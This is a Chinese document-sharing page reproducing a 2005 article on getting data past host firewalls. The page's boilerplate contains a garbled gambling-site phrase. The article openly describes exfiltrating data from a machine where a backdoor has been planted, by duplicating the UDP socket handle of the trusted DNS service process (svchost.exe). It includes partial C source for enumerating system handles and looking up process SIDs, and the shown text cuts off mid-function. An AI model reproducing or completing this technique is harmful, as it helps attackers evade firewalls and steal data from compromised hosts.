穿透防火墙的数据传输源码.doc

  1. 1、本文档共11页,可阅读全部内容。
  2. 2、有哪些信誉好的足球投注网站(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
  3. 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  4. 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多
穿透防火墙的数据传输源码

穿透防火墙的数据传输源码 通常,在我们为目标主机安放好了后门需要将数据传输出去时,主机上的防火墙都会让我们遇到一些不大不小的麻烦。如果为我们自己的进程开一个端口(甚至是新建套接字),那么大部分的防火墙都会将其拦截。有什么方法能穿透这些防火墙呢? 下面我为您介绍一种洞穿防火墙小规模传输重要数据的方法。不过,不推荐您在其它情况下使用该方法。 其实我的思路很简单,既然防火墙会拦截未验证进程而放行已验证进程的数据传输,那我们就将其它进程中允许数据传输的套接字句柄拿为已用。具体过程如下: 1、找出目标进程; 2、找出socket句柄; 2、用duplicatehandle()函数将其socket转换为能被自己使用; 3、用转换后的socket进行数据传输。 上面的过程写的很简单,但是实现起来还存在一些问题(后面再做讨论)。另外,从上面的实现方法中也可以看到一些很难控制的地方,比如在目标进程的 socket不能是tcp,只能是udp,因为tcp的句柄已经跟外面建立了连接。同时,针对不同系统不同进程我们也很难定位一个稳定的进程 socket。 看到这么多麻烦,你有点泄气了对不对?不要着急,再想一想,其实我们有一条真正通向罗马的黄金大道。我们都知道只要一台计算机联上了网络,那么有一种数据传输是肯定不会被拦截的,不错,就是dns!你能想像域名解析数据都被拦截所造成的后果吗?既然dns是不会被拦的,而且它又是udp传输,我们就从它开刀。 本文为您提供了一个通过直接控制dns进程(其实也就是svchost.exe,不过对应用户名是network service)进行数据传输的例子。查看详细源代码 源代码部分: /*++ made by zwell zwell@ 2005.4.12 --*/ #include winsock2.h #include stdio.h #include wtsapi32.h #pragma comment(lib, ws2_32) #pragma comment(lib, wtsapi32) #define nt_success(status) ((ntstatus)(status)=0) #define status_info_length_mismatch ((ntstatus)0xc0000004l) typedef long ntstatus; typedef struct _system_handle_information { ulong processid; uchar objecttypenumber; uchar flags; ushort handle; pvoid object; access_mask grantedaccess; } system_handle_information, *psystem_handle_information; typedef ulong (winapi *zwquerysysteminformation)(ulong, pvoid, ulong, pulong); zwquerysysteminformation zwquerysysteminformation = null; bool locatentdllentry ( void ) { bool ret = false; char ntdll_dll[] = ntdll.dll; hmodule ntdll_dll = null; if ( ( ntdll_dll = getmodulehandle( ntdll_dll ) ) == null ) { printf( getmodulehandle() failed); return( false ); } if ( !( zwquerysysteminformation = ( zwquerysysteminformation )getprocaddress( ntdll_dll, zwquerysysteminformation ) ) ) { goto locatentdllentry_exit; } ret = true; locatentdllentry_exit: if ( false == ret ) { printf( getprocaddress() failed); } ntdll_dll = null; return( ret ); } /*++ this routine is used to get a processs username from its sid --*/ bool getusernamefromsid(psid pusersid, char *szusername

文档评论(0)

jgx3536 + 关注
实名认证
内容提供者

该用户很懒,什么也没介绍

版权声明书
用户编号:6111134150000003

1亿VIP精品文档

相关文档